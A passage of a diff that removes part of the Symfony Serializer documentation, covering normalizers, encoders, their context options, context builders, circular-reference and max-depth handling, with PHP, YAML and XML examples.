-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Entity\Person">
-                <attribute name="firstName" serialized-name="customer_name"/>
-            </class>
-        </serializer>
-
-This custom mapping is used to convert property names when serializing and
-deserializing objects::
-
-    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
-    // {"customer_name": "Kévin"}
-
-Serializing Boolean Attributes
-------------------------------
-
-If you are using isser methods (methods prefixed by ``is``, like
-``App\Model\Person::isSportsperson()``), the Serializer component will
-automatically detect and use it to serialize related attributes.
-
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
-and ``can``.
-
-.. versionadded:: 6.1
-
-    The support of canners (methods prefixed by ``can``) was introduced in Symfony 6.1.
-
-Using Callbacks to Serialize Properties with Object Instances
--------------------------------------------------------------
-
-When serializing, you can set a callback to format a specific object property::
-
-    use App\Model\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoder = new JsonEncoder();
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []): string {
-        return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
-    };
-
-    $defaultContext = [
-        AbstractNormalizer::CALLBACKS => [
-            'createdAt' => $dateCallback,
-        ],
-    ];
-
-    $normalizer = new GetSetMethodNormalizer(null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-
-    $person = new Person();
-    $person->setName('cordoval');
-    $person->setAge(34);
-    $person->setCreatedAt(new \DateTime('now'));
-
-    $serializer->serialize($person, 'json');
-    // Output: {"name":"cordoval", "age": 34, "createdAt": "2014-03-22T09:43:12-0500"}
-
-.. _component-serializer-normalizers:
-
-Normalizers
------------
-
-Normalizers turn **objects** into **arrays** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
-normalizing (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
-denormalizing (array to object).
-
-Normalizers are enabled in the serializer passing them as its first argument::
-
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizers = [new ObjectNormalizer()];
-    $serializer = new Serializer($normalizers, []);
-
-Built-in Normalizers
-~~~~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in normalizers:
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-    This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
-    to read and write in the object. It means that it can access to properties
-    directly and through getters, setters, hassers, issers, canners, adders and removers.
-    It supports calling the constructor during the denormalization process.
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get``, ``set``, ``has``, ``is``, ``can``, ``add`` or ``remove``
-    prefix from the method name and transforming the first letter to lowercase; e.g.
-    ``getFirstName()`` -> ``firstName``).
-
-    The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by
-    default in Symfony applications with the Serializer component enabled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-    This normalizer reads the content of the class by calling the "getters"
-    (public methods starting with "get"). It will denormalize data by calling
-    the constructor and the "setters" (public methods starting with "set").
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get`` prefix from the method name and transforming
-    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
-    This normalizer directly reads and writes public properties as well as
-    **private and protected** properties (from both the class and all of its
-    parent classes) by using `PHP reflection`_. It supports calling the constructor
-    during the denormalization process.
-
-    Objects are normalized to a map of property names to property values.
-
-    If you prefer to only normalize certain properties (e.g. only public properties)
-    set the ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and
-    combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
-    ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
-
-    .. versionadded:: 6.2
-
-        The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its
-        values were introduced in Symfony 6.2.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
-
-    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
-    then further normalize the result. This means that nested
-    :phpclass:`JsonSerializable` classes will also be normalized.
-
-    This normalizer is particularly helpful when you want to gradually migrate
-    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
-    Serializer by allowing you to mix which normalizers are used for which classes.
-
-    Unlike with :phpfunction:`json_encode` circular references can be handled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-    This normalizer converts :phpclass:`DateTimeInterface` objects (e.g.
-    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings.
-    By default, it uses the `RFC3339`_ format.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-    This normalizer converts :phpclass:`DateTimeZone` objects into strings that
-    represent the name of the timezone according to the `list of PHP timezones`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-    This normalizer converts :phpclass:`SplFileInfo` objects into a `data URI`_
-    string (``data:...``) such that files can be embedded into serialized data.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-    This normalizer converts :phpclass:`DateInterval` objects into strings.
-    By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    This normalizer converts a \BackedEnum objects into strings or integers.
-
-    By default, an exception is thrown when data is not a valid backed enumeration. If you
-    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
-
-    .. versionadded:: 6.3
-
-        The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-    This normalizer works with classes that implement
-    :class:`Symfony\\Component\\Form\\FormInterface`.
-
-    It will get errors from the form and normalize them into a normalized array.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
-    into a list of errors according to the `RFC 7807`_ standard.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-    Normalizes errors according to the API Problem spec `RFC 7807`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
-    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that extend
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
-    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
-    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
-    You can change the string format by setting the serializer context option
-    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
-    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
-
-    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` into
-    translated strings, using the
-    :method:`Symfony\\Contracts\\Translation\\TranslatableInterface::trans`
-    method. You can define the locale to use to translate the object by
-    setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
-    context option.
-
-    .. versionadded:: 6.4
-
-        The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-        was introduced in Symfony 6.4.
-
-.. note::
-
-    You can also create your own Normalizer to use another structure. Read more at
-    :doc:`/serializer/custom_normalizer`.
-
-Certain normalizers are enabled by default when using the Serializer component
-in a Symfony application, additional ones can be enabled by tagging them with
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
-
-Here is an example of how to enable the built-in
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
-faster alternative to the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            get_set_method_normalizer:
-                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
-                tags: [serializer.normalizer]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
-        >
-            <services>
-                <!-- ... -->
-
-                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
-                    <tag name="serializer.normalizer"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-
-        return static function (ContainerConfigurator $container): void {
-            $container->services()
-                // ...
-                ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                    ->tag('serializer.normalizer')
-            ;
-        };
-
-.. _component-serializer-encoders:
-
-Encoders
---------
-
-Encoders turn **arrays** into **formats** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Encoder\\EncoderInterface`
-for encoding (array to format) and
-:class:`Symfony\\Component\\Serializer\\Encoder\\DecoderInterface` for decoding
-(format to array).
-
-You can add new encoders to a Serializer instance by using its second constructor argument::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $serializer = new Serializer([], $encoders);
-
-Built-in Encoders
-~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in encoders:
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-    This class encodes and decodes data in `JSON`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-    This class encodes and decodes data in `XML`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-    This encoder encodes and decodes data in `YAML`_. This encoder requires the
-    :doc:`Yaml Component </components/yaml>`.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-    This encoder encodes and decodes data in `CSV`_.
-
-.. note::
-
-    You can also create your own Encoder to use another structure. Read more at
-    :doc:`/serializer/custom_encoders`.
-
-All these encoders are enabled by default when using the Serializer component
-in a Symfony application.
-
-The ``JsonEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
-:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. It can be
-useful to modify how these functions operate in certain instances by providing
-options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use the serialization
-context to pass in these options using the key ``json_encode_options`` or
-``json_decode_options`` respectively::
-
-    $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
-
-These are the options available:
-
-===============================  =========================================================================================================== ================================
-Option                           Description                                                                                                 Default
-===============================  ==========================================================================================================  ================================
-``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
-``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
-===============================  ==========================================================================================================  ================================
-
-.. versionadded:: 6.4
-
-    The support of ``json_decode_detailed_errors`` was introduced in Symfony 6.4.
-
-The ``CsvEncoder``
-~~~~~~~~~~~~~~~~~~
-
-The ``CsvEncoder`` encodes to and decodes from CSV.
-
-The ``CsvEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-======================= =====================================================  ==========================
-Option                  Description                                            Default
-======================= =====================================================  ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
-                        character only)
-``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
-``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
-                        line in the CSV file
-``csv_escape_char``     Sets the escape character (at most one character)      empty string
-``csv_key_separator``   Sets the separator for array's keys during its         ``.``
-                        flattening
-``csv_headers``         Sets the order of the header and data columns
-                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
-                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
-                        then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
-                        with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only   ``true``
-                        one line is decoded.
-``no_headers``          Setting to ``false`` will use first row as headers.    ``false``
-                        ``true`` generate numeric headers.
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
-======================= =====================================================  ==========================
-
-The ``XmlEncoder``
-~~~~~~~~~~~~~~~~~~
-
-This encoder transforms arrays into XML and vice versa.
-
-For example, take an object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` will encode this object like that:
-
-.. code-block:: xml
-
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The special ``#`` key can be used to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">
-    //        baz
-    //     </foo>
-    // </response>
-
-Furthermore, keys beginning with ``@`` will be considered attributes, and
-the key  ``#comment`` can be used for encoding XML comments::
-
-    $encoder = new XmlEncoder();
-    $encoder->encode([
-        'foo' => ['@bar' => 'value'],
-        'qux' => ['#comment' => 'A comment'],
-    ], 'xml');
-    // will return:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    //     <qux><!-- A comment --!><qux>
-    // </response>
-
-You can pass the context key ``as_collection`` in order to have the results
-always as a collection.
-
-.. note::
-
-    You may need to add some attributes on the root node::
-
-        $encoder = new XmlEncoder();
-        $encoder->encode([
-            '@attribute1' => 'foo',
-            '@attribute2' => 'bar',
-            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
-        ], 'xml');
-
-        // will return:
-        // <?xml version="1.0"?>
-        // <response attribute1="foo" attribute2="bar">
-        // <foo bar="value">baz</foo>
-        // </response>
-
-.. tip::
-
-    XML comments are ignored by default when decoding contents, but this
-    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
-
-    Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
-    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
-    directly to the ``$context`` argument of the ``encode()`` method::
-
-        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
-
-The ``XmlEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-==============================  =================================================  ==========================
-Option                          Description                                        Default
-==============================  =================================================  ==========================
-``xml_format_output``           If set to true, formats the generated XML with     ``false``
-                                line breaks and indentation
-``xml_version``                 Sets the XML version attribute                     ``1.0``
-``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
-``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
-``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
-                                type casting
-``xml_root_node_name``          Sets the root node name                            ``response``
-``as_collection``               Always returns results as a collection, even if    ``false``
-                                only one line is decoded
-``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
-                                to be ignored while decoding
-``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
-                                to be ignored while encoding
-``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
-``save_options``                XML saving `options with libxml`_                  ``0``
-``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
-                                generated XML
-``cdata_wrapping``              If set to false, will not wrap any value           ``true``
-                                containing one of the following characters (
-                                ``<``, ``>``, ``&``) in `a CDATA section`_ like
-                                following: ``<![CDATA[...]]>``
-==============================  =================================================  ==========================
-
-.. versionadded:: 6.4
-
-    The `cdata_wrapping` option was introduced in Symfony 6.4.
-
-Example with custom ``context``::
-
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-
-    // create encoder with specified options as new default settings
-    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
-
-    $data = [
-        'id' => 'IDHNQIItNyQ',
-        'date' => '2019-10-24',
-    ];
-
-    // encode with default context
-    $xmlEncoder->encode($data, 'xml');
-    // outputs:
-    // <?xml version="1.0"?>
-    // <response>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </response>
-
-    // encode with modified context
-    $xmlEncoder->encode($data, 'xml', [
-        'xml_root_node_name' => 'track',
-        'encoder_ignored_node_types' => [
-            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
-        ],
-    ]);
-    // outputs:
-    // <track>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </track>
-
-The ``YamlEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-This encoder requires the :doc:`Yaml Component </components/yaml>` and
-transforms from and to Yaml.
-
-The ``YamlEncoder`` Context Options
-...................................
-
-The ``encode()`` method, like other encoder, uses ``context`` to set
-configuration options for the YamlEncoder an associative array::
-
-    $yamlEncoder->encode($array, 'yaml', $context);
-
-These are the options available:
-
-=============== ========================================================  ==========================
-Option          Description                                               Default
-=============== ========================================================  ==========================
-``yaml_inline`` The level where you switch to inline YAML                 ``0``
-``yaml_indent`` The level of indentation (used internally)                ``0``
-``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
-                to customize the encoding / decoding YAML string
-=============== ========================================================  ==========================
-
-.. _component-serializer-context-builders:
-
-Context Builders
-----------------
-
-Instead of passing plain PHP arrays to the :ref:`serialization context <serializer_serializer-context>`,
-you can use "context builders" to define the context using a fluent interface::
-
-    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
-
-    $initialContext = [
-        'custom_key' => 'custom_value',
-    ];
-
-    $contextBuilder = (new ObjectNormalizerContextBuilder())
-        ->withContext($initialContext)
-        ->withGroups(['group1', 'group2']);
-
-    $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder)
-        ->withDelimiter(';');
-
-    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
-
-.. versionadded:: 6.1
-
-    Context builders were introduced in Symfony 6.1.
-
-.. note::
-
-    The Serializer component provides a context builder
-    for each :ref:`normalizer <component-serializer-normalizers>`
-    and :ref:`encoder <component-serializer-encoders>`.
-
-    You can also :doc:`create custom context builders </serializer/custom_context_builders>`
-    to deal with your context values.
-
-Skipping ``null`` Values
-------------------------
-
-By default, the Serializer will preserve properties containing a ``null`` value.
-You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
-to ``true``::
-
-    $dummy = new class {
-        public ?string $foo = null;
-        public string $bar = 'notNull';
-    };
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
-    // ['bar' => 'notNull']
-
-Require all Properties
-----------------------
-
-By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
-You can change this behavior by setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
-to ``true``::
-
-    class Dummy
-    {
-        public function __construct(
-            public string $foo,
-            public ?string $bar,
-        ) {
-        }
-    }
-
-    $data = ['foo' => 'notNull'];
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
-    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
-
-.. versionadded:: 6.3
-
-    The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
-    was introduced in Symfony 6.3.
-
-Skipping Uninitialized Properties
----------------------------------
-
-In PHP, typed properties have an ``uninitialized`` state which is different
-from the default ``null`` of untyped properties. When you try to access a typed
-property before giving it an explicit value, you get an error.
-
-To avoid the Serializer throwing an error when serializing or normalizing an
-object with uninitialized properties, by default the object normalizer catches
-these errors and ignores such properties.
-
-You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES``
-context option to ``false``::
-
-    class Dummy {
-        public string $foo = 'initialized';
-        public string $bar; // uninitialized
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize(new Dummy(), 'json', [AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false]);
-    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException as normalizer cannot read uninitialized properties
-
-.. note::
-
-    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize``
-    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set
-    to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
-    properties as the normalizer cannot read them (directly or via getter/isser methods).
-
-.. _component-serializer-handling-circular-references:
-
-Collecting Type Errors While Denormalizing
-------------------------------------------
-
-When denormalizing a payload to an object with typed properties, you'll get an
-exception if the payload contains properties that don't have the same type as
-the object.
-
-In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
-collect all exceptions at once, and to get the object partially denormalized::
-
-    try {
-        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
-            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
-        ]);
-    } catch (PartialDenormalizationException $e) {
-        $violations = new ConstraintViolationList();
-        /** @var NotNormalizableValueException $exception */
-        foreach ($e->getErrors() as $exception) {
-            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
-            $parameters = [];
-            if ($exception->canUseMessageForUser()) {
-                $parameters['hint'] = $exception->getMessage();
-            }
-            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
-        }
-
-        return $this->json($violations, 400);
-    }
-
-Handling Circular References
-----------------------------
-
-Circular references are common when dealing with entity relations::
-
-    class Organization
-    {
-        private string $name;
-        private array $members;
-
-        public function setName($name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setMembers(array $members): void
-        {
-            $this->members = $members;
-        }
-
-        public function getMembers(): array
-        {
-            return $this->members;
-        }
-    }
-
-    class Member
-    {
-        private string $name;
-        private Organization $organization;
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setOrganization(Organization $organization): void
-        {
-            $this->organization = $organization;
-        }
-
-        public function getOrganization(): Organization
-        {
-            return $this->organization;
-        }
-    }
-
-To avoid infinite loops, :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-or :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-throw a :class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
-when such a case is encountered::
-
-    $member = new Member();
-    $member->setName('Kévin');
-
-    $organization = new Organization();
-    $organization->setName('Les-Tilleuls.coop');
-    $organization->setMembers([$member]);
-
-    $member->setOrganization($organization);
-
-    echo $serializer->serialize($organization, 'json'); // Throws a CircularReferenceException
-
-The key ``circular_reference_limit`` in the default context sets the number of
-times it will serialize the same object before considering it a circular
-reference. The default value is ``1``.
-
-Instead of throwing an exception, circular references can also be handled
-by custom callables. This is especially useful when serializing entities
-having unique identifiers::
-
-    $encoder = new JsonEncoder();
-    $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
-            return $object->getName();
-        },
-    ];
-    $normalizer = new ObjectNormalizer(null, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    var_dump($serializer->serialize($org, 'json'));
-    // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
-
-.. _serializer_handling-serialization-depth:
-
-Handling Serialization Depth
-----------------------------
-
-The Serializer component is able to detect and limit the serialization depth.
-It is especially useful when serializing large trees. Assume the following data
-structure::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        /**
-         * @var self
-         */
-        public MyObj $child;
-    }
-
-    $level1 = new MyObj();
-    $level1->foo = 'level1';
-
-    $level2 = new MyObj();
-    $level2->foo = 'level2';
-    $level1->child = $level2;
-
-    $level3 = new MyObj();
-    $level3->foo = 'level3';
-    $level2->child = $level3;
-
-The serializer can be configured to set a maximum depth for a given property.
-Here, we set it to 2 for the ``$child`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\MaxDepth;
-
-        class MyObj
-        {
-            #[MaxDepth(2)]
-            public MyObj $child;
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                child:
-                    max_depth: 2
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="child" max-depth="2"/>
-            </class>
-        </serializer>
-
-The metadata loader corresponding to the chosen format must be configured in
-order to use this feature. It is done automatically when using the Serializer component
-in a Symfony application. When using the standalone component, refer to
-:ref:`the groups documentation <component-serializer-attributes-groups>` to
-learn how to do that.
-
-The check is only done if the ``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key of the serializer context
-is set to ``true``. In the following example, the third level is not serialized
-because it is deeper than the configured maximum depth of 2::
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'foo' => 'level1',
-        'child' => [
-            'foo' => 'level2',
-            'child' => [
-                'child' => null,
-            ],
-        ],
-    ];
-    */
-
-Instead of throwing an exception, a custom callable can be executed when the
-maximum depth is reached. This is especially useful when serializing entities
-having unique identifiers::
-
-    use Symfony\Component\Serializer\Annotation\MaxDepth;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class Foo
-    {
-        public int $id;
-
-        #[MaxDepth(1)]
-        public MyObj $child;
-    }
-
-    $level1 = new Foo();
-    $level1->id = 1;
-
-    $level2 = new Foo();
-    $level2->id = 2;
-    $level1->child = $level2;
-
-    $level3 = new Foo();
-    $level3->id = 3;
-    $level2->child = $level3;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string {
-        return '/foos/'.$innerObject->id;
-    };
-
-    $defaultContext = [
-        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
-    ];
-    $normalizer = new ObjectNormalizer($classMetadataFactory, null, null, null, null, null, $defaultContext);
-
